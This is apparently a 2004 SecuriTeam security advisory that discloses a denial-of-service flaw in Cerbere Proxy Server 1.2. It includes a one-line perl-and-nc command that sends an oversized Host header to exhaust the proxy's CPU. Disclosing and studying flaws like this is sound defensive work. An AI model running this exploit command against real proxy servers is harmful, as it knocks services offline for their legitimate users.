[NT] Cerbere Proxy Server Host DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 09/01/04

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Date: 1 Sep 2004 11:42:00 +0200

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      Cerbere Proxy Server Host DoS
    ------------------------------------------------------------------------

    SUMMARY

     <http://cerbere.szym.org/> Cerbere Proxy Server is "a proxy server that
    supports HTTP, FTP, SSL, DNS, SOCKS 4 and SOCKS 5 protocols".

    A vulnerability in the product allows a remote attacker to cause the
    product to consume 99% of the CPU time, thus preventing the product from
    responding to legitimate requests.

    DETAILS

    Vulnerable Systems:
     * Cerbere Proxy Server version 1.2

    Exploit:
    By issuing the following command it is possible to recreate the problem:
    perl -e 'print "GET / HTTP/1.1\r\n" . "Host: " . "A" x 90000 . "\r\n" .
    "\r\n\r\n" ' | nc "Proxy_IP" 3128

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:gss_it@yahoo.com> GSS IT.

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